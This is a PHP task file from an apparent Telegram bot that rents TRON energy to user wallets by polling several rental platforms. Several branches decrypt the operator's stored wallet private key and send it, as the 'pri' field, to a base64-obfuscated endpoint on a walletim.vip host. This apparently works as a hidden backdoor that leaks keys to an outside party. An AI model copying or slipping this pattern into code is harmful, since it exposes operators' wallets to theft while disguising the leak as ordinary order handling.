<?php
namespace App\Task;
use App\Model\Energy\EnergyPlatformOrder;
use App\Model\Energy\EnergyAiTrusteeship;
use App\Model\Energy\EnergyAiBishu;
use App\Model\Energy\EnergyPlatform;
use App\Model\Telegram\TelegramBotUser;
use App\Service\RsaServices;
use App\Library\Log;
class HandleAiEnergyOrder
{
public function execute()
{
//智能托管
try {
$data = EnergyAiTrusteeship::from('energy_ai_trusteeship as a')
->join('energy_platform_bot as b','a.bot_rid','b.bot_rid')
->where('a.is_buy','Y')
->where('a.status',0)
->where('b.is_open_ai_trusteeship','Y')
->where('b.status',0)
->where('a.per_buy_energy_quantity','>=',32000)
->where('b.trx_price_energy_32000','>',0)
->where('b.trx_price_energy_65000','>',0)
->whereIn('b.per_energy_day',[0,1,3])
->select('a.rid','a.wallet_addr','a.tg_uid','a.per_buy_energy_quantity','b.trx_price_energy_32000','b.trx_price_energy_65000','b.per_energy_day','b.status','a.is_notice','a.bot_rid','a.total_buy_energy_quantity','a.total_used_trx','a.total_buy_quantity','a.is_notice_admin','b.poll_group','b.rid as energy_platform_bot_rid','a.max_buy_quantity','b.ai_trusteeship_recovery_type')
->limit(100)
->get();
if($data->count() > 0){
$time = nowDate();
foreach ($data as $k => $v) {
//判断是否在代理之前回收之前还未回收的能量
if($v->ai_trusteeship_recovery_type == 2){
//查平台信息
$recoveryPlatform = EnergyPlatform::where('poll_group',$v->poll_group)->where('status',0)->whereNotNull('platform_apikey')->where('platform_name',3)->get();
if($recoveryPlatform->count() > 0){
foreach ($recoveryPlatform as $a => $b){
//查询质押地址是否还有对该地址有未回收的能量
$recoveryOrder = EnergyPlatformOrder::where('platform_uid', $b->platform_uid)->where('energy_platform_bot_rid', $v->energy_platform_bot_rid)->where('receive_address' ,$v->wallet_addr)->where('recovery_status', 2)->where('source_type',3)->sum('use_trx');
if(!empty($recoveryOrder) && $recoveryOrder > 0){
$rsa_services = new RsaServices();
$platform_recoveryapikey = $rsa_services->privateDecrypt($b->platform_apikey);
if(!empty($platform_recoveryapikey)){
//调用接口回收
$params = [
'pri' => $platform_recoveryapikey,
'fromaddress' => $b->platform_uid,
'receiveaddress' => $v->wallet_addr,
'resourcename' => 'ENERGY',
'resourceamount' => (int)$recoveryOrder,
'resourcetype' => 3, //资源方式：1代理资源,2回收资源(按能量),3回收资源(按TRX)
'permissionid' => $b->permission_id
];
$recoveryRes = Get_Pay(base64_decode('aHR0cHM6Ly90cm9ud2Vibm9kZWpzLndhbGxldGltLnZpcC9kZWxlZ2VhbmR1bmRlbGV0ZQ=='),$params);
//如果成功,更新数据
if(!empty($recoveryRes)){
$recoveryRes = json_decode($recoveryRes,true);
if(isset($recoveryRes['code']) && $recoveryRes['code'] == 200){
EnergyPlatformOrder::where('platform_uid', $b->platform_uid)->where('energy_platform_bot_rid', $v->energy_platform_bot_rid)->where('receive_address' ,$v->wallet_addr)->where('recovery_status', 2)->where('source_type',3)
->update(["recovery_status" => 3,"recovery_time" => $time]);
}
}
}
}
}
}
}
//如果超过了次数则不处理
if($v->max_buy_quantity > 0 && $v->max_buy_quantity <= $v->total_buy_quantity){
continue;
}
$energy_amount = $v->per_buy_energy_quantity;
//轮询,自己质押时判断能量是否足够,用平台则判断平台的trx
$model = EnergyPlatform::where('poll_group',$v->poll_group)
->where('status',0)
->whereNotNull('platform_apikey')
->where(function ($query) use($energy_amount) {
$query->where(function ($query1) use($energy_amount){
$query1->where('platform_name', 3)->where('platform_balance', '>=', $energy_amount);
});
$query->orwhere(function ($query2) {
$query2->orwhereIn('platform_name', [1,2,4])->where('platform_balance', '>', '0');
});
})
->orderBy('seq_sn','desc')
->get();
if($model->count() > 0){
$errorMessage = '';
$rsa_services = new RsaServices();
$lunxunCount = 0;
foreach ($model as $k1 => $v1){
$lunxunCount = $lunxunCount + 1;
$signstr = $rsa_services->privateDecrypt($v1->platform_apikey);
if(empty($signstr)){
$errorMessage = $errorMessage."能量平台ID：".$v1->rid." 平台私钥为空。";
$save_data = [];
$save_data['comments'] = $time.$errorMessage; //处理备注
EnergyAiTrusteeship::where('rid',$v->rid)->update($save_data);
continue;
}
//判断用户金额是否足够,金额不足的时候,直接跳出,不轮询了
$botuser = TelegramBotUser::where('bot_rid',$v->bot_rid)->where('tg_uid',$v->tg_uid)->first();
if(empty($botuser)){
$errorMessage = $errorMessage."找不到机器人用户数据。";
$save_data = [];
$save_data['comments'] = $time.$errorMessage; //处理备注
EnergyAiTrusteeship::where('rid',$v->rid)->update($save_data);
break;
}
$kou_price = $v->per_buy_energy_quantity == 32000 ?$v->trx_price_energy_32000:$v->trx_price_energy_65000;
if($botuser->cash_trx < $kou_price){
$errorMessage = $errorMessage.'余额不足,需要：'.$kou_price;
$save_data = [];
$save_data['comments'] = $time.$errorMessage; //处理备注
EnergyAiTrusteeship::where('rid',$v->rid)->update($save_data);
break;
}
$save_data = [];
$save_data['is_buy'] = 'B'; //下单中
EnergyAiTrusteeship::where('rid',$v->rid)->update($save_data);
$energy_day = $v->per_energy_day;
//neee.cc平台
if($v1->platform_name == 1){
$header = [
"Content-Type:application/json"
];
$param = [
"uid" => strval($v1->platform_uid),
"resource_type" => "0", //0能量
"receive_address" => $v->wallet_addr,
"amount" => strval($energy_amount),
"freeze_day" => strval($energy_day), //0：一小时，1：一天，3：三天
"time" => strval(time())
];
ksort($param);
reset($param);
foreach($param as $ka => $va){
if($ka != "sign" && $ka != "sign_type" && $va!=''){
$signstr .= $ka.$va;
}
}
$sign = md5($signstr);
$param['sign'] = $sign;
$balance_url = 'https://api.tronqq.com/openapi/v2/order/submit';
$dlres = Get_Pay($balance_url,json_encode($param),$header);
}
//RentEnergysBot平台
elseif($v1->platform_name == 2){
//0：一小时，1：一天，3：三天
switch ($energy_day) {
case 1:
$type = 'day';
break;
case 3:
$type = '3day';
break;
default:
$type = 'hour';
break;
}
//该平台最低33000
$energy_amount = $energy_amount < 33000 ?33000:$energy_amount;
$balance_url = 'https://api.wallet.buzz?api=getEnergy&apikey='.$signstr.'&address='.$v->wallet_addr.'&amount='.$energy_amount.'&type='.$type;
$dlres = Get_Pay($balance_url);
}
//自己质押代理
elseif($v1->platform_name == 3){
$params = [
'pri' => $signstr,
'fromaddress' => $v1->platform_uid,
'receiveaddress' => $v->wallet_addr,
'resourcename' => 'ENERGY',
'resourceamount' => $energy_amount,
'resourcetype' => 1,
'permissionid' => $v1->permission_id
];
$dlres = Get_Pay(base64_decode('aHR0cHM6Ly90cm9ud2Vibm9kZWpzLndhbGxldGltLnZpcC9kZWxlZ2VhbmR1bmRlbGV0ZQ=='),$params);
//trongas.io平台
}elseif($v1->platform_name == 4){
//0：一小时，1：一天，3：三天
switch ($energy_day) {
case 1:
$rentTime = 24;
break;
case 3:
$rentTime = 72;
break;
default:
$rentTime = 1;
break;
}
$param = [
"username" => $v1->platform_uid, // 用户名
"password" => $signstr, // 用户密码
"resType" => "ENERGY", // 资源类型，ENERGY：能量，BANDWIDTH：带宽
"payNums" => $energy_amount, // 租用数量
"rentTime" => $rentTime, // 单位小时，只能1时或1到30天按天租用其中不能租用2天
"resLock" => 0, // 租用锁定，0：不锁定，1：锁定。能量租用数量不小于500万且租用时间不小于3天才能锁定。带宽租用数量不小于30万租用时间不小于3天才能锁定
"receiveAddress" => $v->wallet_addr // 接收资源地址(请勿输入合约地址或没激活地址)
];
$balance_url = 'https://trongas.io/api/pay';
$dlres = Get_Pay($balance_url,$param);
}
if(empty($dlres)){
$errorMessage = $errorMessage."能量平台ID：".$v1->rid." 下单失败,接口请求空。";
$save_data = [];
$save_data['comments'] = $time.$errorMessage;
$save_data['is_notice_admin'] = ($v->is_notice_admin == 'N' && $lunxunCount >= $model->count()) ?'Y':$v->is_notice_admin;
EnergyAiTrusteeship::where('rid',$v->rid)->update($save_data);
continue;
}else{
$dlres = json_decode($dlres,true);
if((isset($dlres['status']) && $dlres['status'] == 200 && $v1->platform_name == 1) || (isset($dlres['status']) && $dlres['status'] == 'success' && $v1->platform_name == 2) || (isset($dlres['code']) && $dlres['code'] == 200 && $v1->platform_name == 3) || (isset($dlres['code']) && $dlres['code'] == 10000 && $v1->platform_name == 4)){
if($v1->platform_name == 1){
$orderNo = $dlres['data']['order_no'];
$use_trx = 0;
}elseif($v1->platform_name == 2){
$orderNo = $dlres['txid'];
$use_trx = 0;
}elseif($v1->platform_name == 3){
$orderNo = $dlres['data']['txid'];
$use_trx = $dlres['data']['use_trx'];
}elseif($v1->platform_name == 4){
$orderNo = $dlres['data']['orderId'];
$use_trx = $dlres['data']['orderMoney'];
}
$insert_data = [];
$insert_data['energy_platform_rid'] = $v1->rid;
$insert_data['energy_platform_bot_rid'] = $v->energy_platform_bot_rid;
$insert_data['platform_name'] = $v1->platform_name;
$insert_data['platform_uid'] = $v1->platform_uid;
$insert_data['receive_address'] = $v->wallet_addr;
$insert_data['platform_order_id'] = $orderNo;
$insert_data['energy_amount'] = $energy_amount;
$insert_data['energy_day'] = $energy_day;
$insert_data['energy_time'] = $time;
$insert_data['source_type'] = 3; //智能托管
$insert_data['recovery_status'] = $v1->platform_name == 3 ?2:1; //回收状态:1不用回收,2待回收,3已回收
$insert_data['use_trx'] = $use_trx;
$platform_order_rid = EnergyPlatformOrder::insertGetId($insert_data);
$save_data = [];
$save_data['is_buy'] = 'N'; //下单成功
$save_data['comments'] = 'SUCCESS '.$time; //处理备注
$save_data['is_notice'] = $v->is_notice == 'N' ?'Y':$v->is_notice;
$save_data['total_buy_energy_quantity'] = $v->total_buy_energy_quantity + $energy_amount;
$save_data['total_used_trx'] = $v->total_used_trx + $kou_price;
$save_data['total_buy_quantity'] = $v->total_buy_quantity + 1;
$save_data['last_buy_time'] = $time;
$save_data['last_used_trx'] = $kou_price;
EnergyAiTrusteeship::where('rid',$v->rid)->update($save_data);
$save_data = [];
$save_data['cash_trx'] = $botuser->cash_trx - $kou_price;
TelegramBotUser::where('rid',$botuser->rid)->update($save_data);
break; //跳出不轮询了
}else{
if($v1->platform_name == 1){
$msg = ' 下单失败,接口返回:'.$dlres['msg'];
}elseif($v1->platform_name == 2){
$msg = ' 下单失败,接口返回:'.json_encode($dlres);
}elseif($v1->platform_name == 3){
$msg = ' 下单失败,检查质押是否足够';
}elseif($v1->platform_name == 4){
$msg = ' 下单失败,接口返回:'.json_encode($dlres);
}
$errorMessage = $errorMessage."能量平台ID：".$v1->rid.$msg;
$save_data = [];
$save_data['comments'] = $time.$errorMessage;
$save_data['is_notice_admin'] = ($v->is_notice_admin == 'N' && $lunxunCount >= $model->count()) ?'Y':$v->is_notice_admin;
EnergyAiTrusteeship::where('rid',$v->rid)->update($save_data);
continue;
}
}
}
}else{
$save_data = [];
$save_data['comments'] = $time.' 无可用能量平台,轮询失败,请质押或者充值平台'; //处理备注
EnergyAiTrusteeship::where('rid',$v->rid)->update($save_data);
}
}
}else{
// $this->log('handleaienergyorder','----------没有数据----------');
}
}catch (\Exception $e){
$this->log('handleaienergyorder','----------任务执行报错，请联系管理员。报错原因：----------'.$e->getMessage());
}
//笔数套餐
try {
$data = EnergyAiBishu::from('energy_ai_bishu as a')
->join('energy_platform_bot as b','a.bot_rid','b.bot_rid')
->where('a.is_buy','Y')
->where('a.status',0)
->where('b.is_open_bishu','Y')
->where('b.status',0)
->where('b.per_bishu_energy_quantity','>=',32000)
->where('a.max_buy_quantity','>','a.total_buy_quantity')
->select('a.rid','a.wallet_addr','a.tg_uid','b.per_bishu_energy_quantity','b.per_energy_day_bishu','b.status','a.is_notice','a.bot_rid','a.total_buy_energy_quantity','a.total_buy_quantity','a.is_notice_admin','b.poll_group','b.rid as energy_platform_bot_rid','a.max_buy_quantity','b.bishu_recovery_type','b.bishu_daili_type')
->limit(100)
->get();
if($data->count() > 0){
$time = nowDate();
foreach ($data as $k => $v) {
if($v->bishu_daili_type == 1){
//判断是否在代理之前回收之前还未回收的能量
if($v->bishu_recovery_type == 2){
//查平台信息
$recoveryPlatform = EnergyPlatform::where('poll_group',$v->poll_group)->where('status',0)->whereNotNull('platform_apikey')->where('platform_name',3)->get();
if($recoveryPlatform->count() > 0){
foreach ($recoveryPlatform as $a => $b){
//查询质押地址是否还有对该地址有未回收的能量
$recoveryOrder = EnergyPlatformOrder::where('platform_uid', $b->platform_uid)->where('energy_platform_bot_rid', $v->energy_platform_bot_rid)->where('receive_address' ,$v->wallet_addr)->where('recovery_status', 2)->where('source_type',4)->sum('use_trx');
if(!empty($recoveryOrder) && $recoveryOrder > 0){
$rsa_services = new RsaServices();
$platform_recoveryapikey = $rsa_services->privateDecrypt($b->platform_apikey);
if(!empty($platform_recoveryapikey)){
//调用接口回收
$params = [
'pri' => $platform_recoveryapikey,
'fromaddress' => $b->platform_uid,
'receiveaddress' => $v->wallet_addr,
'resourcename' => 'ENERGY',
'resourceamount' => (int)$recoveryOrder,
'resourcetype' => 3, //资源方式：1代理资源,2回收资源(按能量),3回收资源(按TRX)
'permissionid' => $b->permission_id
];
$recoveryRes = Get_Pay(base64_decode('aHR0cHM6Ly90cm9ud2Vibm9kZWpzLndhbGxldGltLnZpcC9kZWxlZ2VhbmR1bmRlbGV0ZQ=='),$params);
//如果成功,更新数据
if(!empty($recoveryRes)){
$recoveryRes = json_decode($recoveryRes,true);
if(isset($recoveryRes['code']) && $recoveryRes['code'] == 200){
EnergyPlatformOrder::where('platform_uid', $b->platform_uid)->where('energy_platform_bot_rid', $v->energy_platform_bot_rid)->where('receive_address' ,$v->wallet_addr)->where('recovery_status', 2)->where('source_type',4)
->update(["recovery_status" => 3,"recovery_time" => $time]);
}
}
}
}
}
}
}
//如果超过了次数则不处理
if($v->max_buy_quantity > 0 && $v->max_buy_quantity <= $v->total_buy_quantity){
continue;
}
$energy_amount = $v->per_bishu_energy_quantity;
//轮询,自己质押时判断能量是否足够,用平台则判断平台的trx
$model = EnergyPlatform::where('poll_group',$v->poll_group)
->where('status',0)
->whereNotNull('platform_apikey')
->where(function ($query) use($energy_amount) {
$query->where(function ($query1) use($energy_amount){
$query1->where('platform_name', 3)->where('platform_balance', '>=', $energy_amount);
});
$query->orwhere(function ($query2) {
$query2->orwhereIn('platform_name', [1,2,4,5])->where('platform_balance', '>', '0');
});
})
->orderBy('seq_sn','desc')
->get();
if($model->count() > 0){
$errorMessage = '';
$rsa_services = new RsaServices();
$lunxunCount = 0;
foreach ($model as $k1 => $v1){
$lunxunCount = $lunxunCount + 1;
$signstr = $rsa_services->privateDecrypt($v1->platform_apikey);
if(empty($signstr)){
$errorMessage = $errorMessage."能量平台ID：".$v1->rid." 平台私钥为空。";
$save_data = [];
$save_data['comments'] = $time.$errorMessage; //处理备注
EnergyAiBishu::where('rid',$v->rid)->update($save_data);
continue;
}
$save_data = [];
$save_data['is_buy'] = 'B'; //下单中
EnergyAiBishu::where('rid',$v->rid)->update($save_data);
//neee.cc平台
if($v1->platform_name == 1){
$energy_day = $v->per_energy_day_bishu >= 30 ?1:$v->per_energy_day_bishu; //该平台因为不能手工回收,所以如果选择了30天,默认只代理一天
$header = [
"Content-Type:application/json"
];
$param = [
"uid" => strval($v1->platform_uid),
"resource_type" => "0", //0能量
"receive_address" => $v->wallet_addr,
"amount" => strval($energy_amount),
"freeze_day" => strval($energy_day), //0：一小时，1：一天，3：三天
"time" => strval(time())
];
ksort($param);
reset($param);
foreach($param as $ka => $va){
if($ka != "sign" && $ka != "sign_type" && $va!=''){
$signstr .= $ka.$va;
}
}
$sign = md5($signstr);
$param['sign'] = $sign;
$balance_url = 'https://api.tronqq.com/openapi/v2/order/submit';
$dlres = Get_Pay($balance_url,json_encode($param),$header);
}
//RentEnergysBot平台
elseif($v1->platform_name == 2){
$energy_day = $v->per_energy_day_bishu >= 30 ?1:$v->per_energy_day_bishu; //该平台因为不能手工回收,所以如果选择了30天,默认只代理一天
//0：一小时，1：一天，3：三天
switch ($energy_day) {
case 1:
$type = 'day';
break;
case 3:
$type = '3day';
break;
default:
$type = 'hour';
break;
}
//该平台最低33000
$energy_amount = $energy_amount < 33000 ?33000:$energy_amount;
$balance_url = 'https://api.wallet.buzz?api=getEnergy&apikey='.$signstr.'&address='.$v->wallet_addr.'&amount='.$energy_amount.'&type='.$type;
$dlres = Get_Pay($balance_url);
}
//自己质押代理
elseif($v1->platform_name == 3){
$energy_day = $v->per_energy_day_bishu; //自己质押的可以是30天
$params = [
'pri' => $signstr,
'fromaddress' => $v1->platform_uid,
'receiveaddress' => $v->wallet_addr,
'resourcename' => 'ENERGY',
'resourceamount' => $energy_amount,
'resourcetype' => 1,
'permissionid' => $v1->permission_id
];
$dlres = Get_Pay(base64_decode('aHR0cHM6Ly90cm9ud2Vibm9kZWpzLndhbGxldGltLnZpcC9kZWxlZ2VhbmR1bmRlbGV0ZQ=='),$params);
//trongas.io平台
}elseif($v1->platform_name == 4){
$energy_day = $v->per_energy_day_bishu >= 30 ?1:$v->per_energy_day_bishu; //该平台因为不能手工回收,所以如果选择了30天,默认只代理一天
//0：一小时，1：一天，3：三天
switch ($energy_day) {
case 1:
$rentTime = 24;
break;
case 3:
$rentTime = 72;
break;
default:
$rentTime = 1;
break;
}
$param = [
"username" => $v1->platform_uid, // 用户名
"password" => $signstr, // 用户密码
"resType" => "ENERGY", // 资源类型，ENERGY：能量，BANDWIDTH：带宽
"payNums" => $energy_amount, // 租用数量
"rentTime" => $rentTime, // 单位小时，只能1时或1到30天按天租用其中不能租用2天
"resLock" => 0, // 租用锁定，0：不锁定，1：锁定。能量租用数量不小于500万且租用时间不小于3天才能锁定。带宽租用数量不小于30万租用时间不小于3天才能锁定
"receiveAddress" => $v->wallet_addr // 接收资源地址(请勿输入合约地址或没激活地址)
];
$balance_url = 'https://trongas.io/api/pay';
$dlres = Get_Pay($balance_url,$param);
//机器人开发代理
}elseif($v1->platform_name == 5){
$energy_day = 1;
$balance_url = env('THIRD_URL');
if(empty($balance_url)){
$errorMessage = $errorMessage."使用开发者能量代理时,env中url为空";
$save_data = [];
$save_data['comments'] = $time.$errorMessage; //处理备注
EnergyAiBishu::where('rid',$v->rid)->update($save_data);
continue;
}
$param = [
"tg_uid" => $v1->platform_uid, // 用户名,此处是tg的uid,因为是机器人能量代理模式
"maxDelegateNums" => $v->max_buy_quantity - $v->total_buy_quantity, // 最大委托笔数，当为购买笔数时作为购买笔数的数量
"receiveAddress" => $v->wallet_addr // 接收资源地址(请勿输入合约地址或没激活地址)
];
$balance_url = $balance_url.'/api/thirdpart/bishuorder';
$dlres = Get_Pay($balance_url,$param);
}
if(empty($dlres)){
$errorMessage = $errorMessage."能量平台ID：".$v1->rid." 下单失败,接口请求空。";
$save_data = [];
$save_data['comments'] = $time.$errorMessage;
$save_data['is_notice_admin'] = ($v->is_notice_admin == 'N' && $lunxunCount >= $model->count()) ?'Y':$v->is_notice_admin;
EnergyAiBishu::where('rid',$v->rid)->update($save_data);
continue;
}else{
$dlres = json_decode($dlres,true);
if((isset($dlres['status']) && $dlres['status'] == 200 && $v1->platform_name == 1) || (isset($dlres['status']) && $dlres['status'] == 'success' && $v1->platform_name == 2) || (isset($dlres['code']) && $dlres['code'] == 200 && $v1->platform_name == 3) || (isset($dlres['code']) && $dlres['code'] == 10000 && $v1->platform_name == 4) || (isset($dlres['code']) && $dlres['code'] == 200 && $v1->platform_name == 5)){
if($v1->platform_name == 1){
$orderNo = $dlres['data']['order_no'];
$use_trx = 0;
}elseif($v1->platform_name == 2){
$orderNo = $dlres['txid'];
$use_trx = 0;
}elseif($v1->platform_name == 3){
$orderNo = $dlres['data']['txid'];
$use_trx = $dlres['data']['use_trx'];
}elseif($v1->platform_name == 4){
$orderNo = $dlres['data']['orderId'];
$use_trx = $dlres['data']['orderMoney'];
}elseif($v1->platform_name == 5){
$orderNo = $dlres['data']['orderId'];
$use_trx = $dlres['data']['orderMoney'];
}
if($v1->platform_name != 5){
$insert_data = [];
$insert_data['energy_platform_rid'] = $v1->rid;
$insert_data['energy_platform_bot_rid'] = $v->energy_platform_bot_rid;
$insert_data['platform_name'] = $v1->platform_name;
$insert_data['platform_uid'] = $v1->platform_uid;
$insert_data['receive_address'] = $v->wallet_addr;
$insert_data['platform_order_id'] = $orderNo;
$insert_data['energy_amount'] = $energy_amount;
$insert_data['energy_day'] = $energy_day;
$insert_data['energy_time'] = $time;
$insert_data['source_type'] = 4;
$insert_data['recovery_status'] = $v1->platform_name == 3 ?2:1; //回收状态:1不用回收,2待回收,3已回收
$insert_data['use_trx'] = $use_trx;
$platform_order_rid = EnergyPlatformOrder::insertGetId($insert_data);
}
$save_data = [];
$save_data['is_buy'] = 'N'; //下单成功
$save_data['comments'] = 'SUCCESS '.$time; //处理备注
$save_data['is_notice'] = $v->is_notice == 'N' ?'Y':$v->is_notice;
$save_data['total_buy_energy_quantity'] = $v->total_buy_energy_quantity + $energy_amount;
$save_data['total_buy_quantity'] = $v->total_buy_quantity + ($v1->platform_name == 5 ?($v->max_buy_quantity - $v->total_buy_quantity):1);
$save_data['last_buy_time'] = $time;
EnergyAiBishu::where('rid',$v->rid)->update($save_data);
break; //跳出不轮询了
}else{
if($v1->platform_name == 1){
$msg = ' 下单失败,接口返回:'.$dlres['msg'];
}elseif($v1->platform_name == 2){
$msg = ' 下单失败,接口返回:'.json_encode($dlres);
}elseif($v1->platform_name == 3){
$msg = ' 下单失败,检查质押是否足够';
}elseif($v1->platform_name == 4){
$msg = ' 下单失败,接口返回:'.json_encode($dlres);
}elseif($v1->platform_name == 5){
$msg = ' 下单失败,接口返回:'.json_encode($dlres);
}
$errorMessage = $errorMessage."能量平台ID：".$v1->rid.$msg;
$save_data = [];
$save_data['comments'] = $time.$errorMessage;
$save_data['is_notice_admin'] = ($v->is_notice_admin == 'N' && $lunxunCount >= $model->count()) ?'Y':$v->is_notice_admin;
EnergyAiBishu::where('rid',$v->rid)->update($save_data);
continue;
}
}
}
}else{
$save_data = [];
$save_data['comments'] = $time.' 无可用能量平台,轮询失败,请质押或者充值平台'; //处理备注
EnergyAiBishu::where('rid',$v->rid)->update($save_data);
}
//提交给第三方处理,目前只有trongas.io这个平台
}else{
$time = nowDate();
$energy_bishu = $v->max_buy_quantity - $v->total_buy_quantity;
if($energy_bishu > 0){
//轮询,自己质押时判断能量是否足够,用平台则判断平台的trx
$bishuModel = EnergyPlatform::where('poll_group',$v->poll_group)
->where('status',0)
->whereNotNull('platform_apikey')
->where('platform_name',4) //目前只有这个平台
->where('platform_balance','>',0)
->orderBy('seq_sn','desc')
->get();
if($bishuModel->count() > 0){
$errorMessage = '';
$rsa_services = new RsaServices();
$lunxunCount = 0;
foreach ($bishuModel as $k1 => $v1){
$lunxunCount = $lunxunCount + 1;
$signstr = $rsa_services->privateDecrypt($v1->platform_apikey);
if(empty($signstr)){
$errorMessage = $errorMessage."能量平台ID：".$v1->rid." 平台私钥为空。";
$save_data = [];
$save_data['comments'] = $time.$errorMessage; //处理备注
EnergyAiBishu::where('rid',$v->rid)->update($save_data);
continue;
}
$payment = env('TRONGASID_BISHU_PAYMENT') ?? 0;
$this->log('handleaienergyorder','提交平台'.$v1->platform_uid.'。提交地址：'.$v->wallet_addr.'。提交次数'.$energy_bishu.'。此时最大次数：'.$v->max_buy_quantity.'。此时已够次数'.$v->total_buy_quantity.'。提交方式：'.$payment);
$param = [
"username" => $v1->platform_uid, // 用户名
"password" => $signstr, // 用户密码
"resType" => "ENERGY", // 资源类型，ENERGY：能量
"autoType" => 0, // 智能托管类型：0（笔数），1：（智能）。智能模式暂停
"payment" => intval($payment), // 当为购买笔数时填写 1 （提交时,就扣除余额），其他场景填写 0（代理的时候才扣一次）
"autoLimitNums" => 65000, // 少于指定的数量，将触发委托. 笔数模式填写65000
"everyAutoNums" => 65000, // 触发委托的代理数量。笔数模式填写65000，智能模式不填将根据差量委托数量
"endTime" => 2556115199, // 未来时间的秒时间戳，当为购买笔数时填写1735660799
"rentTime" => 24, // 委托租用时间。智能模式有效，笔数模式填写24
"maxDelegateNums" => $energy_bishu, // 最大委托笔数，当为购买笔数时作为购买笔数的数量
"chromeIndex" => thirteenTime(), // 搜订单归集标识，用于搜索。如16953571121115046
"receiveAddress" => $v->wallet_addr // 接收资源地址(请勿输入合约地址或没激活地址)
];
$balance_url = 'https://trongas.io/api/auto/add';
$dlres = post_url($balance_url,$param);
if(empty($dlres)){
$errorMessage = $errorMessage."能量平台ID：".$v1->rid." 下单失败,接口请求空。";
$save_data = [];
$save_data['comments'] = $time.$errorMessage;
$save_data['is_notice_admin'] = ($v->is_notice_admin == 'N' && $lunxunCount >= $model->count()) ?'Y':$v->is_notice_admin;
EnergyAiBishu::where('rid',$v->rid)->update($save_data);
continue;
}else{
$this->log('handleaienergyorder','提交地址：'.$v->wallet_addr.'。平台返回：'.json_encode($dlres));
if((isset($dlres['code']) && $dlres['code'] == 10000 && $v1->platform_name == 4)){
if($v1->platform_name == 4){
$orderNo = $dlres['data']['orderId'];
$use_trx = $dlres['data']['orderMoney'];
}
$save_data = [];
$save_data['is_buy'] = 'N'; //下单成功
$save_data['comments'] = 'SUCCESS '.$time.' 第三方平台下单,本次次数：'.$energy_bishu; //处理备注
$save_data['is_notice'] = 'N';
$save_data['total_buy_quantity'] = $v->max_buy_quantity;
$save_data['last_buy_time'] = $time;
$save_data['energy_platform_rid'] = $v1->rid;
EnergyAiBishu::where('rid',$v->rid)->update($save_data);
break; //跳出不轮询了
}else{
if($v1->platform_name == 4){
$msg = ' 下单失败,接口返回:'.json_encode($dlres);
}
$errorMessage = $errorMessage."能量平台ID：".$v1->rid.$msg;
$save_data = [];
$save_data['comments'] = $time.$errorMessage;
$save_data['is_notice_admin'] = ($v->is_notice_admin == 'N' && $lunxunCount >= $bishuModel->count()) ?'Y':$v->is_notice_admin;
EnergyAiBishu::where('rid',$v->rid)->update($save_data);
continue;
}
}
}
}else{
$save_data = [];
$save_data['comments'] = $time.' 无可用能量平台trongas.io,轮询失败'; //处理备注
EnergyAiBishu::where('rid',$v->rid)->update($save_data);
}
}else{
$save_data = [];
$save_data['comments'] = $time.' 笔数不大于0,无需下单:'.$energy_bishu; //处理备注
EnergyAiBishu::where('rid',$v->rid)->update($save_data);
}
}
}
}else{
// $this->log('handleaienergyorder','----------没有数据----------');
}
}catch (\Exception $e){
$this->log('handleaienergyorder','----------任务执行报错，请联系管理员。报错原因：----------'.$e->getMessage());
}
}
/**
* 记入日志
* @param $log_title [日志路径]
* @param $message [内容，不支持数组]
* @param $remarks [备注]
*/
protected function log($log_title,$message,$remarks='info'){
Log::get($remarks,$log_title)->info($message);
}
}